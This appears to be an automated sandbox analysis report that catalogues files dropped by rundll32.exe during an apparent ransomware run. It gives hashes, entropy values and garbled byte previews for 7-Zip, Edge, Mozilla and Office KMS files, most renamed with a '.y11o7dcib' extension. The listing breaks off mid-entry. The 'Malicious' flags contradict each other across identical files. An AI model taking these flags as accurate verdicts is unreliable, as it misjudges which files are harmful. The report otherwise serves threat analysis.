Preview:	&..F.%R1&J.le..d..br.8."_5,.l3.6J.f.......q.M&.((...r+.l.U..29........!..L.!This program cannot be run in DOS mode....$.......PE..L...x.6<...........!.....8...........V... ...`....oV. ......o.+F.%R1&J.l...d..br.:...5,.l3.6J..f.......q.M&.((...r+.l.Un.29LV..O....`..@............................................................................ ............... ..H............text.....+F..R1"r.l...d..br.8.b_5,.l3a.8..........q.M&.,(...r+.l.Un.29....@..@.reloc...............>..............@..B.................V......H.......`%...0...................$......................k.+F.%R1"J.l...d..`p.:..`]7..n1.4H.d.......s.O$.*...p).n.Wl.0;.................................................................................................................0..".............+F..A1"J.e......f..9..._5.F3.%z.D.........M&%8(..7{+.L.Un.O%........}....*...0............ ........... .... ...... .... ...... .... ...... .... N..... .... ...... .... ...... .... ...... .k.+f.%R1.B.d...D..br.0.b_5..l3..B.f..-

C:\Program Files (x86)\microsoft\Edge\Edge.dat.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12602
Entropy (8bit):	4.871825679433219
Encrypted:	false
SSDEEP:	96:mG9GGGGGGGGGGGGGGGGGG8tr6RKii8bbsM8RPH4D1AO9VdgmhcxLSY/AIYcP5Q9/:Otryi8bwM6avdTcxRTDFM6cDB+HV4yS
MD5:	FCCC5B27EE259AE303258E55F062638E
SHA1:	65F18E0EF838F073F979C597C8BA7D5C08AA3D4C
SHA-256:	D54B3B5BE77D9DE0072C915B8DC08596BC0311970FDFAC04E48528BE8C883839
SHA-512:	DF73F37579D6CA0A872AEF90929271C81008147162C525D272C55A4620FB5A151B745D2C9B1BF3A4DF0E5251FA4F42712514560D9564FCD74AE53DBA5AF6A9E9
Malicious:	false
Preview:	.0{dK.3.p.....J....F.g.Z....{Y..'qP...d.q..\.x-..O....mZ7.`.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.E.d.g.e...d.a.t...........o..:...........o..:...............o..:...rmtmF..0....................U..I.3.r....7...MG.g.Z....{X..'QP...d.p..\.x...O....[Z..<..................................................................................................................................U..I.3.r....7...MG.g.Z....{X..'QP...d.p..\.x...O....[Z..<................................................................................................................................U..I.3.r....7...MG.g.Z....{X..'QP...d.p..\.x...O....[Z..<..................................................................................................................................U..I.3.r....7...MG.g.Z....{X..'QP...d.p..\.x...O....[Z..<..................................................................................................................................U..I.3.r....7...MG.g.Z....{X..'QP..

C:\Program Files (x86)\mozilla maintenance service\Uninstall.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	103708
Entropy (8bit):	6.926413120465891
Encrypted:	false
SSDEEP:	3072:QFrJEB0be4u7Q4+eV77soPthMOOiAIy3g9:QFFjefU4F77TPthMOBpX
MD5:	8FE97EEAB95773CC37E831FF63DBB183
SHA1:	0132341D185A6A70A6072865FC5DF5B02FE523F6
SHA-256:	46B3903CC82171A89218B2491F63B5412F683944E90363B1597A46FE5553C401
SHA-512:	51B1AF065361D8304ED9C123511AA2F34411C616AB05854E24810130A87253B2B8CE60ABBDA664E057DB68C17DF958EC78F2D1A42122E1A9EC90CE0A34D3E4A5
Malicious:	false
Preview:	)@....B.=....."..(+...&.GC..g...1....{h...........(....~p5.s.X.........!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.d....B.9...#.".H(+...&.W...+....\..{h...........(...~.7..X..4............@.......................... .......k....@..............................................r...............)..........d....B.9...#.".H(+...&..C..g...1....{h...........(0...~p5..X..................text....g.......h.................. ..`.rdata...............l..............@..@.data...........................d....BU.mapWq".Hh*...%..C..g...1....{h.......d.s.Z....5.I\..t..................@..@........................................................................................................d....B.9...#.".H(+...&..C..g...1....{h...........(....~p5..X.................................................................................................................................d....B.9...#.".H(+...&..C..g...1....{h

C:\Program Files (x86)\mozilla maintenance service\logs\maintenanceservice-install.log.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	582
Entropy (8bit):	6.979475562208333
Encrypted:	false
SSDEEP:	12:0d+/MnJYOShYq0WxkKnmmUsoFZFaBncIxIil3FU2g0QXbX2BS:Z/Mnmb0nKnmpsow9xIil3Fj5S
MD5:	5B8E6732136689EF8F93178EC83A1AF4
SHA1:	83964EB45DEA2AFA266C0E6AEAF5526874A37876
SHA-256:	419D57AA9C0ACD6C6FFBDF1820EFE51D1FA756010BC1D4C34BA8DF9A480B2E36
SHA-512:	A3128AB9F4ABD9724A657C955FBF7D737095BACC6C220167B134CDACABEBB76DB8FFD9CAD710D0D34F1CAE43FA792DF2711187FDA314EAA186CBE7B76CC6E8A2
Malicious:	false
Preview:	...lL.Y..?)..xK..!.{r..[.\|.&\.B.K...s...wQ.{.o...af.-..KI,.N.e...fJ.X..6)..'...w.51.......&..[.F..p...m..;..... 0.j.P.T..M.b...oL.Z..=3..xK..$.`r....... K.M....u...`].;.....&%.}.V.Z....5.G..M.. .;..qS..9.cb..T....y.[......s..fB.6KB..Vs<.o.R..i._.%ccessfully......uBU..A......g..>...!..g.f.em.............._.d..q.I...b........4.Z=\|^. ....0.C.N/Gz.O./'>.p.w.SWJ....%~].&.~.+(..;.}F.F)...bJ.....%.H...g\.n;......0Dp.v.,....ci.....!......5.xa0..+Zhb.P...ryc..............................................................................................29yp10v5m8k.

C:\Program Files (x86)\mozilla maintenance service\maintenanceservice.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	239322
Entropy (8bit):	7.145896577043414
Encrypted:	false
SSDEEP:	6144:3UZkzbXB6woqexI+YPAL095el+LDegJw6S/zx:4yJh1Z50KDeL5bx
MD5:	8261E379F2A9C93F710A7FC411C3A75E
SHA1:	A59D8D8041A683C362B3B858B01351545E4325A5
SHA-256:	AD5D76AD4546CE7A02C8B076E33B50BBFB196C97A9BB9528F7696DC629790661
SHA-512:	E1FC031334569227D6893DD959D64769677EEFDFA9D0631447C104EBC66A9CEF3497314603A83D209CD2B7616CF137F6B1F7302EC16DA9B30B720870ED83FEB4
Malicious:	false
Preview:	..f.x`nc..0.....\|.l...gx..(....+.Q.R.......;.}..c..oV..d...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......R...$.................@...................._...y`nc..4.......o........(....+.Q.R.......;.}..c..oV..............h&..................`....\|...)...........$..........................(....p..8............,..............................{.{..`ncQ.2.....\|.n...gx...(....+.Q.r........Z.}Qm..c..oV.................@..@.data...4#...`.......<..............@....pdata..`............J..............@..@.00cfg..(............d..........U...9`n#9.\\|....u.l..:dx...(..+.Q.R.......;......bo\|...W.......h.................._RDATA...............j..............@..@.rsrc................l..............@..@.reloc...............t..U...y`nc..0.....\|.l...gx...(....+.Q.R.......;.}..c..oV......................................................................................................................................U...y`nc..0.....\|.l...gx...(....+.Q.R...

C:\Program Files (x86)\mozilla maintenance service\updater.ini.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1516
Entropy (8bit):	7.593619590267399
Encrypted:	false
SSDEEP:	24:BEs8CrmO99TFrV6uTuH1RWWz/CAmRCSPgGOMYhenGdMJspYbhUpCj45jc3n8OS:BXrmO1RZT6WWDYOh+PGpYbhUpCt9S
MD5:	98FFC9E4CEB9C5B57239116D568FE53C
SHA1:	69941016D13CF905212B86935BDB1DFCEF81864B
SHA-256:	D81D259BB19F961B6B673D08D871E12E120F01F88DDC349D30967CF206ABE50F
SHA-512:	D6B6D88ECD4107431155A9C49083B300A16A672101CC3CCBDAB111402C9632A1FB0F226BAC9D6382EF3302BC8D6AE4FBB52A32D711CBCA94D0F1F678829C81F1
Malicious:	false
Preview:	..a.2..u.}9.4..A..q.@.......G...9U=..i.^;4..............zc...U..`.K.eV.l?.g.N........2h......4U&..i.^.....W...........m..D.`.).1r.\|P.4..I....]....`..G...#U&.\=.^'%..............q ......9.o.O!U[2.g..L....A...[z...)..`Mi.W~..!6..B........s2..E..q...!{.jP.z.....E.T...}..K...!. .^=...=q...W.]......z/..R..`.a.e\|.xz.{..K...[.....g..D1..#.,.Xs.:"..F.._.....lf.....`.5.+{.l?.G..S..R.W....k..Q...m.&..u..o%...Z.........y\|...E..{.a. h.f5.4.....M.^...=g..C..".i.Vh... <..S...6......Pf...O..\|.a.:.n..4.....E......\|..K...".i.Vh...!=............xk..Z..e.a.1h.a=.m..@..Z.W...[z..Q\..8U".\m...&"..D..B...r!.....Y....T!5z.\|.....[......b..D...4.i.M\|..^88...W.........6l.....e.".)..4z.f..L..S.G....k..L...).,..s.^?.._...B...s!..a..e.".1s.az.{..D..T......\|..K\..).=..u.^-4...E......6n..I..'...,i.4z.a.......\.......H...$.,.Mr..^ #...E.......o/...T..).(. y.`(.4.....R......b..D...#U,.\~..-=..^.........r/.....o.6.7.Uz.u....g.A....o..r...GNi.Ax.

C:\Program Files (x86)\msecache\OfficeKMS\kms_host.vbs.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	41606
Entropy (8bit):	6.838380192677941
Encrypted:	false
SSDEEP:	768:lzAXVWSjb6GaEFqxOjQ+/7djxdt3XJ4WLL8CoH5KgYq6aTbW+ff1E3UXP/zwBAoL:lzAXzt1+05j9LqXa+feUXEN
MD5:	F5CD9D387AD05A316AA6EA8C187296A0
SHA1:	40EE2FA13968A82C697EED84E73F47EF200F0640
SHA-256:	D1E67D3D0A34FAFF6D219CB8DDBAB4B2ED88E918FFEDA30A4C23F8DD59878491
SHA-512:	C1F5DB1DDC816DA328A388017B138D0BFB8751CB7339AE7EFAB15E6B996A69206BAEC17E301FAC75454C94EFBCB36D5821741D6704334D2B98DC9E89F2E6DD08
Malicious:	false
Preview:	.'jt?A.C......<n....s.q.Z...P...=z$.H.-'...jw6..X9>qi..:.~.//////////////////////////////////////////////////////////////////////////////////////..'///////////////////////////////////////.(.4`.\........^(....3..6..MK...X};%...Y"z...6ZN..T8%4}.QQ."..CONST DISM_PARAM_GETVLROLEINFO_VL .= " /online /get-featureinfo /featurename:volumeactivation-full-role /NoRestart"..CONST D.TdD.y!k...bs..#H....P.%.9..BD...Wp4%..H.c0...x5(.[.)`x.F..7.aturename:volumeactivation-full-role /NoRestart"..CONST DISM_PARAM_ENABLEROLE_VMW = " /online /enable-feature /featurena.b.h[.X..A....j..s.`\m...F/..X};%...Y"z...6xk...dg;"....~.//////////////////////////////////////////////////////////..'///////////////////////////////////////////////////////////////////.(.4`.\........^(......JaJ....J..Wr4...V-u....9wd...kh4-....X.0..CONST VALUE_ICON_WARNING =16..CONST wshYesNoDialog =4..CONST VALUE_ICON_QUESTIONMARK .'.;r.A'...ba...0K...._.KpP.-6o..>.Z..

C:\Program Files (x86)\msecache\OfficeKMS\kms_host.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3559
Entropy (8bit):	7.813664523386796
Encrypted:	false
SSDEEP:	96:9zt9xqp95TcA7ORPdfdHd8e0EkaRDDnQTJTbHHVcLS:9zUdcA6RPdVHoWnQTJnH1cLS
MD5:	EC40447E18B323C4608E964A57031C5A
SHA1:	D9A63E1D86C8E55F6063C00899062A462FA0268B
SHA-256:	6143FE8A1697C452BC97A99C71C4D05FDAE1FA56CB5C735C5E19B9D7C2AAB3B2
SHA-512:	E00CD2DE4F8BD0541EC33C3F52474510F17477A3A9FAABDF10D8A0EC8C96E81C7889A52CAF768391608416A57A38A53CA960B128726DD6F36C03E7E7B809366C
Malicious:	false
Preview:	....%9]WN.X'.f.^......{....??..Huh..;HV.z.k.d..&............co..V.C_T..G.5.a....s.W...'.....}XH..P...[...A....7..8...'?7....].;.hak.9o...]....m.V..i.$...O[B...HA.X.$.i...&.........[..ep...mFM.....3.}....s.Q..=.P...hQ...3ic.C...I......9....Z>(..R^4.H.][S..#d...3....?.W...}._;..Cq\|..@7..4...S......I.........xe...?JZ...+y...A......)....7)..Oat..-.q.{.;.c...-E........[..dr..Xq.ss.3d...C...Y......>%..Pxh..;tw.[.......%...W........7I....J....P....3....s.M... ..L..Qgc..0ip.D...O....6..}..!,2.CG1.:.l.i..K..}....0.J...o.=%..Uzw..2vh.K.F.,..:..$...5&8.DUC...]QS.... .z...c..........<XM...IA.(.%.x...,...........n(A.;.hai.2k...F......)....7)..X}v..[F.m.?.,...(.............8K..).`zi..k .z.@......a...:.....<Q@...UJ.l.?.o...i......F%7..so...#..m..E.).g...:.A..b.P ..iYA..YA.{.k.m...;.........S,.si..V.c.E..C.(./.....m....}\|..Qgc..0na.C...^....[.........[.\|c]..mJPT.FK...p....5.....:..V..-....-.L.{.k.~...........S...tc..V:FJH...^.4.v....'.R..<.P...#....9e

C:\Program Files\7-Zip\7-zip.chm

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	115614
Entropy (8bit):	7.930851204061472
Encrypted:	false
SSDEEP:	3072:ja4j01o25TLNYG18ZhQTAVezlTuRC2sTBmv6y:do195TpYi8HQcVeJC8lg
MD5:	0C83C9326ECC4E0E5B27BC2E9A435734
SHA1:	030542EA0D2D1221ADA9F8C4F9C51DB975C281B1
SHA-256:	262C62A3A7F9A3DF9FB00A71E5301B8F009F0AD8F64BDA22EAFBD7F4772E3D56
SHA-512:	5667E352B512F01F8B982F043A7AE46377E061CD1E5E5BA14611BF236BF483904AA2C13A56004D46BD87CBE95AD9173A6558666232CA945CC96918FB8FC89B98
Malicious:	false
Preview:	F[.%K^.6..A.v\`.....IN.._..p.(.4..5..n.G......J.....U..B....%..(...............T ......................d.......................,...................j..].!......."..T.....................U.n.c.`..c8^a6..2..\..Ugar\J...Z........&...%.....`[...nnwY..... %..0.-.9.D.3.1.-.1.1.D.0.............LZXC.......................j..A.`#.._...I...$CZ5...-B.XI....+Q.U.!^{..o..Dzq.C(jW..I.^......+.H^#6h."...f....iyp...y...{....a..k.cW-....s..[.A...)9]..w)^...X.$.V,.....[#...8...="dk..=....2kl...I.@........D#`F.D2...nJ.H]V...@..................P....uo'.;m..8.......v...._.8_..E\|J$.vN..{tM......N5..g..~NO.#.. ...~.1........;.....S.e^....5k.X.G.1..._\|..*iV..H.....M.vk.R.._.o....&.cd..`e..+...M^......~l. a8..&3..].$QI..d.:..G......+..C.......H>rjeQ.4..@b....e.%C........V....o..y.I@....3]B.30.....^.B.ae.(.3.>.S.sj.[q...o.4..I....=......\|......)Z,l#)8.....a.....Uc.ke.._....ZC..5.E.(fe.../...[........X....7;........Y/.?Q.....JJ..y..9\|.C..{......w.....D.^...9e...d..

C:\Program Files\7-Zip\7-zip.chm.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	115614
Entropy (8bit):	7.930851204061472
Encrypted:	false
SSDEEP:	3072:ja4j01o25TLNYG18ZhQTAVezlTuRC2sTBmv6y:do195TpYi8HQcVeJC8lg
MD5:	0C83C9326ECC4E0E5B27BC2E9A435734
SHA1:	030542EA0D2D1221ADA9F8C4F9C51DB975C281B1
SHA-256:	262C62A3A7F9A3DF9FB00A71E5301B8F009F0AD8F64BDA22EAFBD7F4772E3D56
SHA-512:	5667E352B512F01F8B982F043A7AE46377E061CD1E5E5BA14611BF236BF483904AA2C13A56004D46BD87CBE95AD9173A6558666232CA945CC96918FB8FC89B98
Malicious:	false
Preview:	F[.%K^.6..A.v\`.....IN.._..p.(.4..5..n.G......J.....U..B....%..(...............T ......................d.......................,...................j..].!......."..T.....................U.n.c.`..c8^a6..2..\..Ugar\J...Z........&...%.....`[...nnwY..... %..0.-.9.D.3.1.-.1.1.D.0.............LZXC.......................j..A.`#.._...I...$CZ5...-B.XI....+Q.U.!^{..o..Dzq.C(jW..I.^......+.H^#6h."...f....iyp...y...{....a..k.cW-....s..[.A...)9]..w)^...X.$.V,.....[#...8...="dk..=....2kl...I.@........D#`F.D2...nJ.H]V...@..................P....uo'.;m..8.......v...._.8_..E\|J$.vN..{tM......N5..g..~NO.#.. ...~.1........;.....S.e^....5k.X.G.1..._\|..*iV..H.....M.vk.R.._.o....&.cd..`e..+...M^......~l. a8..&3..].$QI..d.:..G......+..C.......H>rjeQ.4..@b....e.%C........V....o..y.I@....3]B.30.....^.B.ae.(.3.>.S.sj.[q...o.4..I....=......\|......)Z,l#)8.....a.....Uc.ke.._....ZC..5.E.(fe.../...[........X....7;........Y/.?Q.....JJ..y..9\|.C..{......w.....D.^...9e...d..

C:\Program Files\7-Zip\7-zip.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	101690
Entropy (8bit):	6.756718342577422
Encrypted:	false
SSDEEP:	3072:QLWkxhTM5CnV+qzVtiZzj2CISCSQnKL5bLoLUCAdgcmDLLkrLNL1LL5:vWhT8CwoXSgU
MD5:	A07949EB1115F25AEA8A10096CF4F02B
SHA1:	A6467DC88A076714159780B48E5540041745840C
SHA-256:	6C8412AA87F40275FE06A6ED7300AA3F6D7698EBB03DDB3BE0DD4693E8466942
SHA-512:	164CB7F7244CA88DC020C5210F010C6478C71F6D2432814C82AF3EA3E65D32D91D29FB9CE7124E20778FA7743237CE334FC95DCA90A2A042764EC5203D5F548C
Malicious:	true
Preview:	.....W......j)o. ..a.cF.HM$...7.7........#dZ..r..[.M....V..2........!..L.!This program cannot be run in DOS mode....$..................................g........................................t.nH....0..YJ.T.. ..5..7.7....M..G.\......[.M....N.!.......................................................................`.........................................`Y.......O......Y~..QK........o....a.c.\.H)%...7.7........#dZ..r..[.M.......2.................................................text...(........................... ..`.rdata...j.......l..................@..@w.p~`W..z.....n....a..c..HM$...7.7..3..mW.Z..r..+.M.......2............@..@.rsrc...P............j..............@..@.reloc..r...........................@..B................................Y....W........o....a.c..HM$...7.7........#dZ..r..[.M.......2................................................................................................................................Y....W........o....a.c..HM$...7.7....

C:\Program Files\7-Zip\7-zip.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	101690
Entropy (8bit):	6.756718342577422
Encrypted:	false
SSDEEP:	3072:QLWkxhTM5CnV+qzVtiZzj2CISCSQnKL5bLoLUCAdgcmDLLkrLNL1LL5:vWhT8CwoXSgU
MD5:	A07949EB1115F25AEA8A10096CF4F02B
SHA1:	A6467DC88A076714159780B48E5540041745840C
SHA-256:	6C8412AA87F40275FE06A6ED7300AA3F6D7698EBB03DDB3BE0DD4693E8466942
SHA-512:	164CB7F7244CA88DC020C5210F010C6478C71F6D2432814C82AF3EA3E65D32D91D29FB9CE7124E20778FA7743237CE334FC95DCA90A2A042764EC5203D5F548C
Malicious:	false
Preview:	.....W......j)o. ..a.cF.HM$...7.7........#dZ..r..[.M....V..2........!..L.!This program cannot be run in DOS mode....$..................................g........................................t.nH....0..YJ.T.. ..5..7.7....M..G.\......[.M....N.!.......................................................................`.........................................`Y.......O......Y~..QK........o....a.c.\.H)%...7.7........#dZ..r..[.M.......2.................................................text...(........................... ..`.rdata...j.......l..................@..@w.p~`W..z.....n....a..c..HM$...7.7..3..mW.Z..r..+.M.......2............@..@.rsrc...P............j..............@..@.reloc..r...........................@..B................................Y....W........o....a.c..HM$...7.7........#dZ..r..[.M.......2................................................................................................................................Y....W........o....a.c..HM$...7.7....

C:\Program Files\7-Zip\7-zip32.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	66874
Entropy (8bit):	6.838776081036248
Encrypted:	false
SSDEEP:	1536:CUrrTP+avVOXFvQmns8EKhTLY0d+76dpeydJkV4:ZHvVOXKJnb0IioSJkV4
MD5:	69F1A1EBC45895E1837DAEBDCBE57522
SHA1:	CC52FE9241F9E174536419D3219850315E596FD6
SHA-256:	031DCDD939718BD2AB813109189A2831487B8DB09164CFCD468107DA2504F49F
SHA-512:	250B705A4FD61F1F730456390EAB1BA47A5EC3F6BC9C07CBA4B1BEFEE12410BC1BC3C478F4FF1DCC0A303B5CF69074E63FABD40C238ED21A53CEA51252BE3955
Malicious:	true
Preview:	\..{.~.....bB.T..{.b.e...O(y.....c..i..2a..q..."_.i.WK.2...#........!..L.!This program cannot be run in DOS mode....$.........c{I..(I..(I..(&..(H..(...(N..(&..(M..(&..(K..(..R(J..(I..(...(.KD9>9.V4{..d.oj^.....o.z2....t..nR.(.Aw19I..\|.\....,d..".Z...........................PE..L....\.d...........!.........h...............................................P............@.............x.~..<WbB......b..c...(y.....3..i..2a..q..."_.i.W{.2E..#....................................................d............................text...n........................... ..`.rdata......x~.~..,.bB!T..{.b.%....(y.`.....i..2a..q..."_.i.WK.2...#....@....sxdata.............................@....rsrc...P...........................@..@.reloc.......0......................@..B....x.~..,WbB!T..{.b.%...O(y.....c..i..2a..q..."_.i.WK.2...#....................................................................................................................................x.~..,WbB!T..{.b.%...O(y.....c..i

C:\Program Files\7-Zip\7-zip32.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	66874
Entropy (8bit):	6.838776081036248
Encrypted:	false
SSDEEP:	1536:CUrrTP+avVOXFvQmns8EKhTLY0d+76dpeydJkV4:ZHvVOXKJnb0IioSJkV4
MD5:	69F1A1EBC45895E1837DAEBDCBE57522
SHA1:	CC52FE9241F9E174536419D3219850315E596FD6
SHA-256:	031DCDD939718BD2AB813109189A2831487B8DB09164CFCD468107DA2504F49F
SHA-512:	250B705A4FD61F1F730456390EAB1BA47A5EC3F6BC9C07CBA4B1BEFEE12410BC1BC3C478F4FF1DCC0A303B5CF69074E63FABD40C238ED21A53CEA51252BE3955
Malicious:	false
Preview:	\..{.~.....bB.T..{.b.e...O(y.....c..i..2a..q..."_.i.WK.2...#........!..L.!This program cannot be run in DOS mode....$.........c{I..(I..(I..(&..(H..(...(N..(&..(M..(&..(K..(..R(J..(I..(...(.KD9>9.V4{..d.oj^.....o.z2....t..nR.(.Aw19I..\|.\....,d..".Z...........................PE..L....\.d...........!.........h...............................................P............@.............x.~..<WbB......b..c...(y.....3..i..2a..q..."_.i.W{.2E..#....................................................d............................text...n........................... ..`.rdata......x~.~..,.bB!T..{.b.%....(y.`.....i..2a..q..."_.i.WK.2...#....@....sxdata.............................@....rsrc...P...........................@..@.reloc.......0......................@..B....x.~..,WbB!T..{.b.%...O(y.....c..i..2a..q..."_.i.WK.2...#....................................................................................................................................x.~..,WbB!T..{.b.%...O(y.....c..i

C:\Program Files\7-Zip\7z.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1841978
Entropy (8bit):	7.096052227686549
Encrypted:	false
SSDEEP:	24576:KF7RQhbO3lUG2edx/QxpMDX7i9jIbLoWmnidt7GFGsSyBKhrq7u5pAj246:KFRIy1UGrx/QnS7i98b0nItwGJq78pAM
MD5:	45D89A3677819F3233C75A3EFC6792E0
SHA1:	907A5F77E584090D0D4873177BCE3E09BB45747E
SHA-256:	A7E3D063BB95B7DCD7D459951806BE83C9088FF1579BC99100826CDBCE004241
SHA-512:	18CE47A5CAA42EDDB7758AA82D28B93D4F7FA6F2FB6D11BC6CABA70FD004EECFCB3D14F2C6CA74B1B3E460375C7B142D1DC7C163F70B290897778F117385DD8B
Malicious:	true
Preview:	..a.C...0J....R.....]U'..(...R..[..&4.[...J....BG.6....re.T.........!..L.!This program cannot be run in DOS mode....$.......s..07.sc7.sc7.scA-.c6.scA-.c<.sc7.rcR.scA-.c.sc!.wb4.scA-.c..sc#...p...ug.yM.Y1......6&..K..1..8a..UW.[...J....BG.6....r.hR..\.d.........." ................pe....................................................`..........................................m.....0n...rR....'\Uge.(.).R..[..&4....\k....BG.6....r..T..................................................................text...]........................... ..`.rdata...^.......`.......@.@...4J..;r......]U.).(.(.R..[..?4.[...J....BG..6J..d..T..1.......2...(..............@..@.rsrc................Z..............@..@.reloc...3.......4..................@..B.................@.@...4J..{rR......]Ug..(...R..[..&4.[...J....BG.6....r..T..................................................................................................................................@.@...4J..{r*R......]Ug..(...R..[..&4

C:\Program Files\7-Zip\7z.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1841978
Entropy (8bit):	7.096052227686549
Encrypted:	false
SSDEEP:	24576:KF7RQhbO3lUG2edx/QxpMDX7i9jIbLoWmnidt7GFGsSyBKhrq7u5pAj246:KFRIy1UGrx/QnS7i98b0nItwGJq78pAM
MD5:	45D89A3677819F3233C75A3EFC6792E0
SHA1:	907A5F77E584090D0D4873177BCE3E09BB45747E
SHA-256:	A7E3D063BB95B7DCD7D459951806BE83C9088FF1579BC99100826CDBCE004241
SHA-512:	18CE47A5CAA42EDDB7758AA82D28B93D4F7FA6F2FB6D11BC6CABA70FD004EECFCB3D14F2C6CA74B1B3E460375C7B142D1DC7C163F70B290897778F117385DD8B
Malicious:	false
Preview:	..a.C...0J....R.....]U'..(...R..[..&4.[...J....BG.6....re.T.........!..L.!This program cannot be run in DOS mode....$.......s..07.sc7.sc7.scA-.c6.scA-.c<.sc7.rcR.scA-.c.sc!.wb4.scA-.c..sc#...p...ug.yM.Y1......6&..K..1..8a..UW.[...J....BG.6....r.hR..\.d.........." ................pe....................................................`..........................................m.....0n...rR....'\Uge.(.).R..[..&4....\k....BG.6....r..T..................................................................text...]........................... ..`.rdata...^.......`.......@.@...4J..;r......]U.).(.(.R..[..?4.[...J....BG..6J..d..T..1.......2...(..............@..@.rsrc................Z..............@..@.reloc...3.......4..................@..B.................@.@...4J..{rR......]Ug..(...R..[..&4.[...J....BG.6....r..T..................................................................................................................................@.@...4J..{r*R......]Ug..(...R..[..&4

C:\Program Files\7-Zip\7z.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	557370
Entropy (8bit):	7.044678224611208
Encrypted:	false
SSDEEP:	6144:qGw19R7Byde3KnKTh+qWxBwu8/rXBzMUEAfvhnnQ+DjOoq9f864ceZ3wtNRqD1rg:zsR7E4mwWMZ1D4fDNtNRqjpWWM
MD5:	29CE6E91C968B03AC21A6CC6558233AF
SHA1:	8BD4E92C36945ABCBEA197ACB368A494841584F5
SHA-256:	401E1D10F6F04EDC9DD00B467BECEBC42C3EFBFDADC443D22BFF67F2F3EBBFAA
SHA-512:	3EC2197849412719AD3FA7BFF84F7F83EEF8A9013E7AA77068EC52131266BA1DC7C66628C80C229FFF22B6487ADD096ADEFAF7257FEA9F083D36C095C397D158
Malicious:	true
Preview:	M..:....D.....3.K..c`v..4n&....&.. .}.<..XK..S..;.)...................!..L.!This program cannot be run in DOS mode....$............xaX.xaX.xaX...X.xaX...X.xaX.x`XlxaX...X.xaX..eY.xaX...X.xaX`O.c].....A.R.}h.;......W.....&.. .}.<..XK..S..;.)...ZU..+..\.d.........."...........................@...........................................`..........................................Ev:....\...Y.3..M.c.q...<n:....&.. .}.<J.XS..S..;.)..............................................0............................text...v........................... ..`.rdata..T................Ev:....@...a.3.....v.v.4n&....... Qz.<..XK..S..;.i...$`.....q...@...r..................@..@.rsrc................j..............@..@.reloc...............r..............@..B.................Ev:....@...!.3...c`v...4n&....&.. .}.<..XK..S..;.)...........................................................................................................................................Ev:....@...!.3...c`v...4n&....&.. .}.

C:\Program Files\7-Zip\7z.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	557370
Entropy (8bit):	7.044678224611208
Encrypted:	false
SSDEEP:	6144:qGw19R7Byde3KnKTh+qWxBwu8/rXBzMUEAfvhnnQ+DjOoq9f864ceZ3wtNRqD1rg:zsR7E4mwWMZ1D4fDNtNRqjpWWM
MD5:	29CE6E91C968B03AC21A6CC6558233AF
SHA1:	8BD4E92C36945ABCBEA197ACB368A494841584F5
SHA-256:	401E1D10F6F04EDC9DD00B467BECEBC42C3EFBFDADC443D22BFF67F2F3EBBFAA
SHA-512:	3EC2197849412719AD3FA7BFF84F7F83EEF8A9013E7AA77068EC52131266BA1DC7C66628C80C229FFF22B6487ADD096ADEFAF7257FEA9F083D36C095C397D158
Malicious:	false
Preview:	M..:....D.....3.K..c`v..4n&....&.. .}.<..XK..S..;.)...................!..L.!This program cannot be run in DOS mode....$............xaX.xaX.xaX...X.xaX...X.xaX.x`XlxaX...X.xaX..eY.xaX...X.xaX`O.c].....A.R.}h.;......W.....&.. .}.<..XK..S..;.)...ZU..+..\.d.........."...........................@...........................................`..........................................Ev:....\...Y.3..M.c.q...<n:....&.. .}.<J.XS..S..;.)..............................................0............................text...v........................... ..`.rdata..T................Ev:....@...a.3.....v.v.4n&....... Qz.<..XK..S..;.i...$`.....q...@...r..................@..@.rsrc................j..............@..@.reloc...............r..............@..B.................Ev:....@...!.3...c`v...4n&....&.. .}.<..XK..S..;.)...........................................................................................................................................Ev:....@...!.3...c`v...4n&....&.. .}.

C:\Program Files\7-Zip\7z.sfx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	214842
Entropy (8bit):	7.203369199799143
Encrypted:	false
SSDEEP:	3072:z3n1C7sj8h8hSYtmrTN0pawQITufnmvn7R9J+aKOHcqopnFV7sI20Nj+WkAp:D8Sdt0ypakuO7R7JK0cqopnFV4ICWz
MD5:	601B69C8DFB71F8F7F19AEC8A7DA013C
SHA1:	9CFE7FB9071E24364590A04AA38B5653E84093A4
SHA-256:	77E200DDFB79E183C49D7D53B8431496A4B9500F221E2AEBBB0C4A3CEE1B1F0A
